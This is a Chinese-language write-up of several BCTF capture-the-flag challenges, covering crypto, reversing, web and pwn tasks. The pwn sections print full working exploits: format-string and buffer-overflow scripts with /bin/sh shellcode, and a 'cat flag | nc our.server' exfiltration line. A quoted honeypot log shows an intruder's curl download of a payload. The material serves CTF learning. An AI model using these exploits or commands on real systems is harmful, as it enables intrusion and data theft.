得到一份 Python code,題目要對某串奇怪的東西選某些操作做,並且路上都不能壞掉。
不如就先來爆一下要哪個順序的操作可以是好的:
... 原先的 passcode.py
def main():
for a in range(1, 10):
for b in range(1, 10):
for c in range(1, 10):
for d in range(1, 10):
f1='fun'+str(a)
f2='fun'+str(b)
f3='fun'+str(c)
f4='fun'+str(d)
try:
answer_hash = f['fun6'](f['fun2'](f[f1](f[f2](f[f3](f[f4](answer))))))
except:
continue
if len(answer_hash) == 0:
continue
print a, b, c, d
$ python passcode.py
3 5 1 4
只有一組解耶真好。
觀察一下後,可以發現有一招是在 base64 後面多加上些 =
解出來不會變,所以就來寫個 code:
... 原先的 passcode.py
def main():
h = f['fun3'](f['fun5'](f['fun1'](f['fun4'](answer))))
print hex2dec(reverse(binascii.hexlify(zlib.compress(h + '='))))
$ python passcode.py
14776808117554463895524407143315295523453799430392848299468657220152312326943167735766291274545269565571655501790641293086612883281379329572762713221559220272895777630561406954290568277444047387566672405325067568106228025972170232788497361815951678363187671648647
$ nc 218.2.197.243 9991
Welcome to Secure Passcode System
First, please choose function combination:
f1: 3
f2: 5
f3: 1
f4: 4
Your passcode: 14776808117554463895524407143315295523453799430392848299468657220152312326943167735766291274545269565571655501790641293086612883281379329572762713221559220272895777630561406954290568277444047387566672405325067568106228025972170232788497361815951678363187671648647
Welcome back! The door always open for you, your majesty!
BCTF{py7h0n-l1b-func7i0ns-re4lly-str4nge}
Win!
備註: 比賽時寫這題的人和寫 writeup 的人不同,比賽時是用某種改 zlib compress rate 過的,但因為比較麻煩這裡就寫簡單的做法了
用bochs把OS image跑起來,看到需要輸入Access Code
從MBR code可以看到它將img第二個sector載入5120 bytes到0x8000,並將前2048 bytes跟四位Access Code循環xor解碼
最後跳到0x8000執行
seg000:0000 jmp short loc_A
seg000:0000 ; ---------------------------------------------------------------------------
seg000:0002 db 42h ; B
seg000:0003 db 43h ; C
seg000:0004 db 54h ; T
seg000:0005 db 46h ; F
seg000:0006 db 4Fh ; O
seg000:0007 db 53h ; S
seg000:0008 db 4Ch ; L
seg000:0009 db 44h ; D
seg000:000A ; ---------------------------------------------------------------------------
seg000:000A
seg000:000A loc_A: ; CODE XREF: seg000:0000j
seg000:000A cli
seg000:000B mov ax, cs
seg000:000D mov ds, ax
seg000:000F mov es, ax
seg000:0011 mov ss, ax
seg000:0013 mov sp, 0FFFFh
seg000:0016 sti
seg000:0017 mov ax, 0Ch
seg000:001A push ax
seg000:001B lea ax, unk_7D34
seg000:001F push ax
seg000:0020 call sub_62
seg000:0023 mov ax, 800h
seg000:0026 mov es, ax
seg000:0028 assume es:nothing
seg000:0028 xor bx, bx
seg000:002A xor cx, cx
seg000:002C mov cl, 2
seg000:002E xor dx, dx
seg000:0030 mov dl, 80h ; 'Ç'
seg000:0032 mov ax, 20Ah
seg000:0035 int 13h ; DISK - READ SECTORS INTO MEMORY
seg000:0035 ; AL = number of sectors to read, CH = track, CL = sector
seg000:0035 ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:0035 ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:0037 call sub_A0 ; 讀取Access Code,xor解碼
seg000:003A mov ax, 800h
seg000:003D push ax
seg000:003E xor ax, ax
seg000:0040
seg000:0040 loc_40: ; DATA XREF: sub_62+19r
seg000:0040 ; sub_62+29r
seg000:0040 push ax
seg000:0041 retf ; 跳轉到0x8000
seg000:0042
取出第二個sector data後,先猜測裡面有不少連續為0的區段,試著找出最常出現的重複4bytes區段。結果最常出現的區段,重複次數只有5次,用此段xor下去後還是亂碼。但是發現亂碼第一條指令向下跳轉0xA,然後這10bytes區間內有TF字樣,因此猜測這段開頭跟MBR開頭相同,有"BCTFOS"。測試後發現是正確的,Access Code剛好為"1337"
進入系統後,發現裡面實作了簡單的檔案系統,從code可以看到檔案被每26bytes切開儲存,儲存位置根據一連串的計算會亂跳。
檔案的metadata包含檔案儲存時的加密key和第一個檔案片段偏移位置,最後接上xor 0xcc後的檔名
<bochs:10> x/32bx 0xA000
[bochs]:
0x000000000000a000 <bogus+ 0>: 0x01 0x00 0x06 0x00 [0x48 0xfe] 0x01 0x0f
加密key
0x000000000000a008 <bogus+ 8>: [0x0b] 0x0f 0xad [0xad 0xad 0xad 0xad 0xad]
第一段位置 檔名"aaaaaa"
0x000000000000a010 <bogus+ 16>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x000000000000a018 <bogus+ 24>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
<bochs:11>
第一個檔案片段
<bochs:11> x/32bx 0xB160
[bochs]:
0x000000000000b160 <bogus+ 0>: 0x01 0x00 0xff 0xff 0xff 0xff [0x29 0x9e
檔案內容
0x000000000000b168 <bogus+ 8>: 0x2b 0x9c 0x2d 0x9a] 0x00 0x00 0x00 0x00
0x000000000000b170 <bogus+ 16>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x000000000000b178 <bogus+ 24>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
檔案加密方式是: 檔案byte xor 檔案offset xor (照offset奇偶輪流取key[0], key[1])
最後發現OS image中後面眾多0裡面有6個檔案片段與一個檔名為"key"的metadata,解密後得到
Dear CTFer, if you see this message, you have completely understood my OS. Congratulations!Here is what you want: BCTF{6e4636cd8bcfa93213c83f4b8314ef00}
解密code
b1 = [0x16, 0x36, 0x31, 0x23, 0x76, 0x14, 0x00, 0x13, 0x3F, 0x29, 0x74, 0x79, 0x37, 0x39, 0x7C, 0x24,
0x2D, 0x36, 0x60, 0x32, 0x23, 0x22, 0x64, 0x31, 0x22, 0x22]
b2 = [0x4E, 0x1B, 0x41, 0x56, 0x4B, 0x1F, 0x4B, 0x5C, 0x4C, 0x57, 0x1A, 0x01, 0x64, 0x64, 0x70, 0x63,
0x51, 0x1D, 0x4D, 0x1D, 0x18, 0x1C, 0x1A, 0x4E, 0xB6, 0xEB]
b3 = [0x3B, 0x69, 0x23, 0x2A, 0x3F, 0x3E, 0x13, 0x14, 0x15, 0x5D, 0x56, 0x0E, 0x1B, 0x00, 0x5A, 0x13,
0x19, 0x0F, 0x1B, 0x5F, 0x1F, 0x12, 0x0F, 0x13, 0x0C, 0x04]
b4 = [0x12, 0x02, 0x08, 0x1C, 0x4A, 0x1E, 0x06, 0x0D, 0x0B, 0x1D, 0x1F, 0x19, 0x7D, 0x7C, 0x74, 0x31,
0x7B, 0x6E, 0x34, 0x5A, 0x49, 0x35, 0x38, 0x5A, 0x71, 0x71]
b5 = [0x7B, 0x6F, 0x63, 0x77, 0x75, 0x6D, 0x67, 0x73, 0x6D, 0x6A, 0x64, 0x78, 0x29, 0x0A, 0x0D, 0x47,
0x69, 0x7F, 0x57, 0x13, 0x59, 0x42, 0x16, 0x40, 0x5C, 0x54]
bx = [0xB2, 0xB2, 0xB0, 0xB6, 0xED, 0xE6, 0xE8, 0xEA, 0xEB, 0xBA, 0xE6, 0xEC, 0xBA, 0xE9, 0xA0, 0xFB,
0xF3, 0xF0, 0xF2, 0xA2, 0xA2, 0xF5, 0xFA, 0xB6, 0x00, 0x00]
i = 0x52
j = 0x52
s = ''
l = b1 + b3 + b4 + b5 + b2 + bx
for k in range(len(l)):
if k % 2:
s += chr(l[k] ^ j ^ k)
else:
s += chr(l[k] ^ i ^ k)
print(s)
連到網站上後,會看到:
戳下去以後就會獲得 alert('You must login at host computer');
的錯誤訊息。
打開原始碼,發現 form
裡面有一個叫做 ip
的欄位,用力把它設成 127.0.0.1
就可以略過這個錯誤訊息了。
然後就會遇到這個:
沒什麼招呀就猜猜看呀,打個 User: admin
, Password: admin
,居然就過了...
然後就進到了遊戲畫面,打開 agent1.js
看一下會發現,我只要走到終點並且 deadghost == 10
就會拿到 key 了。
於是打開 chrome console 輸入以下兩行:
> this.gameObj.player.life = 1000000000
1000000000
> this.gameObj.deadghost = 10
10
然後走到終點,就可以看到 key 了。
他鄉遇故知 (Cyprto & PPC 200)
描述
逃離到中國的米特尼克與以前的老朋友都失去了聯繫,這讓他常常懷念逝去的時光。在一次潛入某著名外企嘗試獲取重要資料的行動中,米特尼克還沒有拿到目標文件就不幸被保安發現了。在逃離的過程中,他闖進了一個辦公室,結果驚奇地發現自己二十年前的老朋友 Tupper 就在眼前。更神奇的是,Tupper 知道米特尼克需要什麼,給了他想要的東西並且幫助他成功脫逃。你知道米特尼克拿到的信息是什麼嗎? htp://bctf.cn/files/downloads/meeting-tupper_baaa58809f2a0435cb5f282ce4249fdf.txt
提示
- 論文很重要
解法
將該文件下載存為 tupper.txt
後打開,可以發現是加密過後的對話記錄。
嘗試在網路上尋找與 Tupper 有關的資訊後得到 Tupper's self-referential formula,根據該公式撰寫解密程式。
import re
import sys
import numpy
import matplotlib.pyplot as plt
def plot(h, w, k):
g = numpy.zeros((h, w))
def tupper(x, y):
return (y // h // (2 ** (h*x + y%h))) % 2
for y in range(h):
for x in range(w):
g[y][x] = tupper(x, y + k)
plt.imshow(g, cmap='Greys')
plt.gca().invert_yaxis()
plt.savefig('tupper.png', bbox_inches='tight')
plt.show()
if __name__ == '__main__':
h, w, k = map(int, sys.argv[-3:])
plot(h, w, k)
來看看會發生什麼事吧!
$ python tupper.py 17 300 $(ruby -e 'print IO.read("tupper.txt").scan(/\d+/)[0]')`
$ python tupper.py 17 300 $(ruby -e 'print IO.read("tupper.txt").scan(/\d+/)[1]')`
$ python tupper.py 17 300 $(ruby -e 'print IO.read("tupper.txt").scan(/\d+/)[2]')`
$ python tupper.py 61 500 $(ruby -e 'print IO.read("tupper.txt").scan(/\d+/)[3]')
耶比 BCTF{p1e4se-d0nt-g1ve-up-cur1ng}
。
這題在沒有提示 2 時其實嘗試了很久... 但都沒有結果就在此略過。
(只知道是個 dionaea 的 replay,中間做了點沒看懂的 IPC to /BROWSER)
有了提示 2 後,我們可以用 kippo 這個工具來 replay。
$ python kippo-0.8/utils/playlog.py kippo.ttylog.692ce16db7d940cb9ec52a8419800423
nas3:~# whoami
root
nas3:~# pwd
/root
nas3:~# cd /
nas3:/# ls
lost+found vmlinuz srv sys run sbin proc mnt bin usr tmp var initrd.img etc opt
boot selinux home media lib root dev
nas3:/# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
richard:x:1000:1000:Richard Texas,,,:/home/richard:/bin/bash
nas3:/# cd tmp/
nas3:/tmp# ls
nas3:/tmp# touch 1.sh
nas3:/tmp# ls
1.sh
nas3:/tmp# axel 2792326331/fool
bash: axel: command not found
nas3:/tmp# curl 2792326331/fool
bash: curl: command not found
nas3:/tmp# uname -r
Linux
nas3:/tmp# rm 1.sh
nas3:/tmp# exit
Connection to server closed.
(原本是會一個字元一個字元打出來,超酷的)
好呀,顯然要看看 2792326331/fool
是什麼。
Google Chrome 真懂我 XD
把這個檔案載下來後可以得到:
$ file fool
fool: PE32 executable (console) Intel 80386, for MS Windows
交給隊上負責逆向的人~
sub_4011C0() 那串就一臉 key 樣
每位 xor 0xf8 接起來
FLAG: BCTF{Y0u_6oT_It_7WxMQ_jjR4P_mE9bV}
ELF32, 我們在印出 mail 內容的 sub_8048d73() 中找到了一個 format string 漏洞:
int sub_8048D73(int fd, int a2){
//...
print(fd, "To: %s\n", *(&ptr + a2));
print(fd, "Subject: %s\n", v3 + 32);
print(fd, (const char *)(v3 + 96)); // 信件內容
print(fd, "\n---------\n");
//...
}
int print(int fd, const char *format, ...){
void *v2; // ST1C_4@1
int v3; // ST18_4@1
ssize_t v4; // ST14_4@1
va_list va; // [sp+38h] [bp+10h]@1
va_start(va, format);
v2 = malloc(size);
v3 = vsnprintf((char *)v2, size, format, va);
v4 = write(fd, v2, v3);
free(v2);
return v4;
}
好勒所以我們有一個 format string 漏洞,只是這個字串本身是在 heap 上,用 %n 做寫入時需要在 stack 上指定位址,這裡我們沒辦法直接將要寫的位址放在字串上。經過一番苦思,我們注意到了每個 stack frame 的 bp(A) 總是會指向前一層 stack frame bp(B) 的所在位址。利用 A 的值,%hhn 可以對 B 的最低位寫入,這樣 B 的值可以在一定範圍內浮動。我們接著再利用 B,%hhn 就可以對這個範圍內的任意位址寫入了。
printf("%130c%21%hhn"); // A @ 21$,
printf("%76c%33%hhn"); // B @ 33$ (0x7fbb50a0 -> 0x7fbb5082,再對 0x7fbb5082 寫入 76)
另外,此題 stack 不可執行,但用 format string 印出 stack 內容後,可以找出 main() 返回進 libc.so 裡的位置。由於這題是以 fork() 方式來運作的 service,因此位址不會改變,再利用提示給的 libc.so 檔就可以找出 system() 的正確位址。但不能直接 system('/bin/sh') 因為這樣輸出是看不到的,我們用 system('cat flag | nc our.server 13387') 來送出 flag。完整代碼如下:
import socket
import struct
import sys
st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.244',2337))
def S(x):
st.send(x+'\n')
def W(x,Show=True):
while True:
s = st.recv(4096)
if Show:
sys.stdout.write(s)
if x in s:
return s
W('Exit',False)
def FA(x,pad=True):
S('1')
S('.TO')
S('.SUB')
if pad:
S('[<({'+x+'})>]')
else:
S(x)
W('Exit',False)
S('3')
S('1')
s = W('Exit',False)
if pad:
s = s[s.find('[<({')+4:s.find('})>]')]
S('4')
S('1')
W('Exit',False)
return s
system = 0x3ea70-0x19993+0xf7489993
print 'system @ %08x'%system
print FA('%33$x'),FA('%34$x')
def WS(x,offset):
FA('%%%dc%%21$hhn'%(0x68+offset)) # write 33 (ffb28d68)
if ord(x)!=0:
FA('%%%dc%%33$hhn'%ord(x),pad=False) #write ffb28d6c+offset
else:
FA('%33$hhn',pad=False)
WS('\x70',0)
WS('\xea',1)
WS('\x4a',2)
WS('\xf7',3)
WS('\x78',8)
WS('\x8d',9)
WS('\xb2',10)
WS('\xff',11)
print '# sending cmd'
cmd = 'cat flag | nc our.server 13387; '
for i in range(len(cmd)):
WS(cmd[i],i+12)
print 'return to: '+FA('%34$x')
print 'arg1 = '+FA('%36$s')
S('5')
raw_input()
$nc -vlp 13387
listening on [any] 13387 ...
218.2.197.244: inverse host lookup failed: Unknown host
connect to [our.server] from (UNKNOWN) [218.2.197.244] 49763
BCTF{x14ng-fl4g-sh3m_m4_d3_zu1;m4;f4n;l3}
sent 0, rcvd 42
ELF32,在購買手機的函式中,發現了一個導致任意地址寫入的漏洞:
index = strtol(buf, 0, 10);
if ( buf[0] == '-' || index > 8 ){
//Input error
}
//中略
s[-index + 8] += 1;
上面檢查 index 範圍的部份是有問題的,表面上它禁止了輸入負數,實際上 strtol() 是允許前置空白的。這會導致後面的 ++s[-index+8] 可以將任意在 s+8 後的位址的值+1,而這個 s 是在 stack 上的,我們可以利用這個漏洞改掉回傳位址。我們利用 Credit card number 把 shellcode 讀到 0x0804b1e0,再將主函式 sub_8048C00() 的返回位址 (原為 0x0804859e) 改掉 (9e -> e0, 85 -> b1),再以指令 d 關閉程序後,就會跳轉到 shellcode 上了。完整的代碼如下:
import socket
import struct
import sys
shellcode = '\x90'*60+'\xeb\x1b[1\xc0\x88C\x07\x89[\x14\x89C\x18\xb0\x10HHHHH'+\
'\x8dK\x14\x8dS\x18\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh0XXXX0000XXXXAAAABBBB'
origin = 0x0804859e
target = 0x0804b1e0
st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.251',1234))
def W(x):
st.send(x+'\n')
W('a')
W('1')
W('c')
W('y')
W('..')
W(shellcode)
ss = 0
for i in range(1,5):
while True:
d = origin&((1<<(i*8))-1)
if d == target&((1<<(i*8))-1):
break
origin += 1<<((i-1)*8)
ss += 1
W('a')
W(' -%d'%(15+i)) # -16 ~ -19 為原本的返回位址所在之處
W('d')
st.settimeout(0.1)
try:
while True:
st.recv(4096)
except:
while True:
s = raw_input('#').strip()
st.send(s+'\n')
print st.recv(4096)
st.close()
代碼執行結果:
$ python a.py
#cat /home/ctf/flag
BCTF{n0W_4ll_Th3_ph0N3s_B3l0ng_T0_y0U~_~}
ELF32,首先分析一下,找到輸入點:
int main(){
int v1; //[sp+18h]
//...
sub_8048DDE((char *)&v1);
//...
}
int sub_8048DDE(char *buf){
//...
printf("\nReplay?(y/n)");
fflush(stdout);
scanf("%s", buf);
//...
}
很明顯的 buffer overflow,108 bytes 後蓋到 main() 的返回位址,那我們的 shellcode 在哪裡呢? Stack 不好定位,我們借一下 sub_8048DDE(char*),把 shellcode 讀到 .bss 段上。因此要溢出的部份是這樣的:
0x6c: 0x0804bdde (原本為 main() 的返回位址)
0x70: 0x0804b146 (跳轉 shellcode,偏了 1 byte 是因為第一個字元要是 'n' 才會直接 return)
0x7c: 0x0804b145 (傳給 sub_8048DDE() 的參數)
另外,因為這裡是用 scanf("%s") 讀取的,shellcode 中不可以有 \t,' ',\r,\n
這些字元,我們做了一些修改以避開它們,例如把 mov al,0x0b
換成 mov al,0x10; dec; dec; dec; dec; dec;
。完整的代碼如下:
import socket
import struct
import sys
st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.250',1337))
while True:
s = st.recv(4096)
sys.stdout.write(s)
if 'Replay?(y/n)' in s:
break
s = 'n'*116
s += struct.pack('I',0x08048DDE)
s += struct.pack('I',0x0804B146)
s += struct.pack('I',0x0804B145)
st.send(s+'\n')
print st.recv(4096)
s = 'n\xeb\x1b[1\xc0\x88C\x07\x89[\x14\x89C\x18\xb0\x10'+\
'HHHHH\x8dK\x14\x8dS\x18\xcd\x80\xe8\xe0\xff\xff'+\
'\xff/bin/sh0XXXX0000XXXXAAAABBBB'
st.send(s+'\n')
st.send('cat /home/ctf/flag\n')
print st.recv(4096)
執行結果:
This one's dedicated to allAnnotate the hackers
Even out settle score quick
My disaster recovery requires even more disks
Put your bytes up, prove it or you forfeit
Got my C64 and we blew it into orbit.
.......
Drink all the booze
Hack all the things
Replay?(y/n)
Replay?(y/n)
BCTF{H4v3-4-n1C3-pWn1ng-f3sT1v4l!!}
... 我承認當時完全沒有注意到自帶後門這件事 ...
由於提示 1. ,把圖檔直接用純文字編輯器打開後,會發現在圖檔的最後就有明文data了。
複製下明文 data 後,我們有的是 p[3]
的最後幾位,c
, d
, n
的開頭 70X 位。
連上服務器後:
$ nc 218.2.197.242 1481
Welcome to our Full-Feature Technical Advanced Next Generation Multiprime RSA Encryption Decryption System!!!
Send E to encrypt, D to decrypt:
我們可以加密或解密。
-
加密:
Send E to encrypt, D to decrypt: E m: 3 p[0] (just enter to choose from internal precalculated primes, -1 to end): 11 p[1] (just enter to choose from internal precalculated primes, -1 to end): 13 p[2] (just enter to choose from internal precalculated primes, -1 to end): 17 p[3] (just enter to choose from internal precalculated primes, -1 to end): 19 p[4] (just enter to choose from internal precalculated primes, -1 to end): 23 c: 734743 d: 694561 n: 1062347 Keep them safe! You will need them when you want to decrypt!
要給
m
以及五個質數p[0], ..., p[4]
,然後他會回c
,d
,n
,並且p[0], ..., p[4]
都可以選擇用它內建的質數。 -
解密:
Send E to encrypt, D to decrypt: D c: 734743 d: 694561 n: 1062347 m: 129424
給
c
,d
,n
,會回m
。稍微做嘗試可以發現m = c ^ d (mod n)
,正常的 RSA 解密方法。
稍微做些嘗試就會發現加密時n = p[0] * p[1] * p[2] * p[3] * p[4]
,且e = d ^ -1 (mod phi(n))
固定為 65537。
在給定的圖片中可以看出,他的 p[4]
是用內建的質數,所以第一個想法就是把這個質數給弄出來:
$ nc 218.2.197.242 1481
Welcome to our Full-Feature Technical Advanced Next Generation Multiprime RSA Encryption Decryption System!!!
Send E to encrypt, D to decrypt: E
m: 2
p[0] (just enter to choose from internal precalculated primes, -1 to end): 2
p[1] (just enter to choose from internal precalculated primes, -1 to end): 2
p[2] (just enter to choose from internal precalculated primes, -1 to end): 2
p[3] (just enter to choose from internal precalculated primes, -1 to end): 2
p[4] (just enter to choose from internal precalculated primes, -1 to end):
For safety reasons, at least 2 internal primes should be used.
居然至少要用兩個,沒關係,反正我們可以 gcd !!
$ nc 218.2.197.242 1481
Welcome to ...
Send E to encrypt, D to decrypt: E
m: 2
p[0] (just enter to choose from internal precalculated primes, -1 to end): 2
p[1] (just enter to choose from internal precalculated primes, -1 to end): 2
p[2] (just enter to choose from internal precalculated primes, -1 to end): 2
p[3] (just enter to choose from internal precalculated primes, -1 to end):
p[4] (just enter to choose from internal precalculated primes, -1 to end):
c: ...
d: ...
n: 152028909836222113959550146912734866848449992318569105798843765272643341950784059000812186573943477804026802605391246296729074193639786301538402337715819765397152098376548993239554000665217434392619244660420346797308471846003587415187504969472684287180831671452465342171753461082955443582940450809950532470906250674428419619255510160205299765589939000119405025082703958840258130283810843215057396601779564895683712534815949888086746146162919092719413288599655789022419799459399913942341189733873481545992288737838058870494834078454569381106222136104602926008066452038339812275054761841285928381879124223071638421904968
Keep them safe! You will need them when you want to decrypt!
$ nc 218.2.197.242 1481
Welcome to our Full-Feature Technical Advanced Next Generation Multiprime RSA Encryption Decryption System!!!
Send E to encrypt, D to decrypt: E
m: 2
p[0] (just enter to choose from internal precalculated primes, -1 to end): 2
p[1] (just enter to choose from internal precalculated primes, -1 to end): 2
p[2] (just enter to choose from internal precalculated primes, -1 to end):
p[3] (just enter to choose from internal precalculated primes, -1 to end): 2
p[4] (just enter to choose from internal precalculated primes, -1 to end):
c: ...
d: ...
n: 96015843946481686637114879276136845542044840790228140836663797227956932315675298864768177012643744432815920295222500857099596562630689542751573862328307675834243494110003769405008679987173422483588355200145422756352899280458539046260320020691969536675487117983627473748729422240538726362326148027934256368878228293830054287047691840429105980727256433828341801382779958698707797917999366380062371801926202280101690184155406357163981255860082059934067517711341093470089080937896315812544849677996805473953859731441138876891316303909285260267696673346402064316692108106784754162637970421382667527075181609672937034315016
Keep them safe! You will need them when you want to decrypt!
$ irb --simple-prompt --noecho
>> p 152028909836222113959550146912734866848449992318569105798843765272643341950784059000812186573943477804026802605391246296729074193639786301538402337715819765397152098376548993239554000665217434392619244660420346797308471846003587415187504969472684287180831671452465342171753461082955443582940450809950532470906250674428419619255510160205299765589939000119405025082703958840258130283810843215057396601779564895683712534815949888086746146162919092719413288599655789022419799459399913942341189733873481545992288737838058870494834078454569381106222136104602926008066452038339812275054761841285928381879124223071638421904968.gcd(96015843946481686637114879276136845542044840790228140836663797227956932315675298864768177012643744432815920295222500857099596562630689542751573862328307675834243494110003769405008679987173422483588355200145422756352899280458539046260320020691969536675487117983627473748729422240538726362326148027934256368878228293830054287047691840429105980727256433828341801382779958698707797917999366380062371801926202280101690184155406357163981255860082059934067517711341093470089080937896315812544849677996805473953859731441138876891316303909285260267696673346402064316692108106784754162637970421382667527075181609672937034315016)
8
居然沒有 gcd ?!?!
(備註:其實當初運氣很好,在這邊有找到 gcd 所以一下子就確信的接下來的步驟。)
猜測應該是 internal precalculated primes 不只一個,反正也沒很大問題,多跑幾次取個 gcd 就好了嘛。
寫個 code:
require 'socket'
require 'set'
def send(msg)
if !msg.end_with?("\n")
msg << "\n"
end
$sock.puts msg
end
def f(msk)
$sock = TCPSocket.new('218.2.197.242', 1481)
$sock.readpartial(1000)
send("E")
$sock.readpartial(1000)
send("2")
a = 1
(0..4).each do |i|
$sock.readpartial(1000)
if (msk & (1<<i)) != 0
send("")
else
send("2")
a *= 2
end
end
2.times { $sock.gets }
res = $sock.gets
res.split.last.to_i / a
end
arr = []
prs = Set.new
100.times do |i|
puts "i = #{i+1}"
x = f(3)
arr.each do |y|
d = x.gcd(y)
if x != y && d != 1
if !prs.include?(d)
prs << d
puts "NEW!! #{prs.size} #{d}"
end
if !prs.include?(x/d)
prs << x/d
puts "NEW!! #{prs.size} #{x/d}"
end
if !prs.include?(y/d)
prs << y/d
puts "NEW!! #{prs.size} #{y/d}"
end
end
end
arr << x
end
File.open('primes.out', 'a') do |f|
prs.each do |x|
puts x
f.puts x
end
end
好呀,跑起來後大概 i = 40
左右就再也沒有找到新質數了,而且恰好找到了 20 個,感覺很好。
那我們要怎麼找出他用的 p[4]
是哪個呢?
反正我們知道 c
, d
, e
呀,而且 d * e = 1 (mod phi(n))
,所以 d * e - 1 = 0 (mod p[4] - 1)
。
再來寫點 code:
d = 104466343164729087857924433717120123026730345025496572931042729663280318332180201519089750547537033938031455617897881516094517777275472471958201971537515433606466378472927835746478394277274335131412557789270799764329039705481501785483498339440868338393442585095851195962652200500234673782591233520625438685029015759533598925357134261417036905888463009235413899315272889559176852036275265397811056374955100854876181160191819592386343114118564802721722543826454950667590196976027734654747903097930961234629331591248890805354981062509339001243417076985330052677577268459337389198642060462627790212276935817184089469412790871781453230934753628441673082327589657983062385021517502178692305602169426049605523210692307358226555979513497019015184500519142840969643972048560555580697162010947981169710611611950052624614665237552299775033261536729851959011165573920081722650964743920271258212239618325731253753648870324309322610138826118085856098561213518495328041115201952343510507600284151247753941884151840764304445433386559797702557090624854317046308814938880338048441331510647996933282819505770330293877324603923862108533946770000826346932912111766264413161263776344962785353355939178512371452254092861476682898741006579721786355221169465262747469206955933405183390054212205397384324334630503270038538801146133206134529293517467045269375439710074643957703552931399250244401960912957519498749770331566978742243561343913351811029603543887955317334570806642551975172888500131577049245452199491882818902853651477792230381277739300528906828493317634145
e = 65537
File.open('primes.out', 'r').each_line do |l|
p = l.to_i
if (d * e - 1) % (p - 1) == 0
puts p
end
end
好耶,找到剛好一組解
p[4] = 168989495350198471757304910164246620278618748133367672139165446394971542282791758834807455422116663508781271240060726532459335466894873529369737149899793694978740710751697223761546222188135151720364836557540052832994486319340900010305994941187266419756973586597235759828992800739396838968274798301109676918099
那剩下還可以做什麼呢? 我們發現所有的內建質數都是 1024 bits 的,所以我們的 n
會有 5000 bits 左右,根本沒辦法分解。
只好來看看知道的東西,我們會算 m mod p[4] = (c ^ d) mod p[4]
,不如就來算一下
$ irb --simple-prompt --noecho
>> require 'openssl'
>> c = 71645492621016673213464976773705576598977626188054643472370723424005857135162855393495525466474057651388978394889444949437380622155523348698509489004391235019565559713627704048764179825993770410982081163073179082285952371172055471437005696074211474392152995661697527350764986910630825290938713981052953920875056274443078166660161379007899771674818002376511810428126919459728556444907124724248902780437229599609692990060701334533869156239657433452398941687755149030225719626892256525828870439455342555038998548248930571438085811465324762391516078453666561369010072939796424295777910058168525395200497857742499478507305733793176124897603297195542885744052977605697204533460276361782701335960840419409638485275251200148529855104784943375845079462500946103046167381952863473525712385535457260742220493988472038884591586844210153095905539944176519845001888595529988070630591235276520727111922413882666126523273528142846421483047055572860010802821615126164839286994359724423504094657097576680526355991297870002520097946404866876092819438073099964246959985831951741988584061391662020367882716315675046351265596111348879131403112265886951818911512290815325914332803777263106292553807010792838432697001671952904056736058809040140495768716191710729870260566039901981373982507868220670494614453505465224168491429856270213842707867705951119825424174283567151574373848855252876003957712007790956767752239650449011091020177913065971208007298633065520219790822524305072574433056282209795778043445899379702686258716714912791202892749944700857668722626288022
>> d = 104466343164729087857924433717120123026730345025496572931042729663280318332180201519089750547537033938031455617897881516094517777275472471958201971537515433606466378472927835746478394277274335131412557789270799764329039705481501785483498339440868338393442585095851195962652200500234673782591233520625438685029015759533598925357134261417036905888463009235413899315272889559176852036275265397811056374955100854876181160191819592386343114118564802721722543826454950667590196976027734654747903097930961234629331591248890805354981062509339001243417076985330052677577268459337389198642060462627790212276935817184089469412790871781453230934753628441673082327589657983062385021517502178692305602169426049605523210692307358226555979513497019015184500519142840969643972048560555580697162010947981169710611611950052624614665237552299775033261536729851959011165573920081722650964743920271258212239618325731253753648870324309322610138826118085856098561213518495328041115201952343510507600284151247753941884151840764304445433386559797702557090624854317046308814938880338048441331510647996933282819505770330293877324603923862108533946770000826346932912111766264413161263776344962785353355939178512371452254092861476682898741006579721786355221169465262747469206955933405183390054212205397384324334630503270038538801146133206134529293517467045269375439710074643957703552931399250244401960912957519498749770331566978742243561343913351811029603543887955317334570806642551975172888500131577049245452199491882818902853651477792230381277739300528906828493317634145
>> p4 = 168989495350198471757304910164246620278618748133367672139165446394971542282791758834807455422116663508781271240060726532459335466894873529369737149899793694978740710751697223761546222188135151720364836557540052832994486319340900010305994941187266419756973586597235759828992800739396838968274798301109676918099
>> n = c.to_bn.mod_exp(d, p4).to_i
>> p n
17268729816559353401470580827638778064723414957310217193471794972008753629563164273078961514354631330982290718517874393106220502014411962811717696713597
>> p n.to_s(2).length
503
這個有詐呀! 超短的說,只好來看看它到底是什麼。
>> n.to_s(16).split('').each_slice(2).map do |x| print x.join.to_i(16).chr end
The flag is BCTF{c4n-y0u-6re4k-RSA-us1n9-4c0ust1c-crypt4n41s1s}
耶!!!
備註: 其實最後一步不用這麼複雜:
>> p [n.to_s(16)].pack("H*")
"The flag is BCTF{c4n-y0u-6re4k-RSA-us1n9-4c0ust1c-crypt4n41s1s}"
>> p n.to_bn.to_s(2)
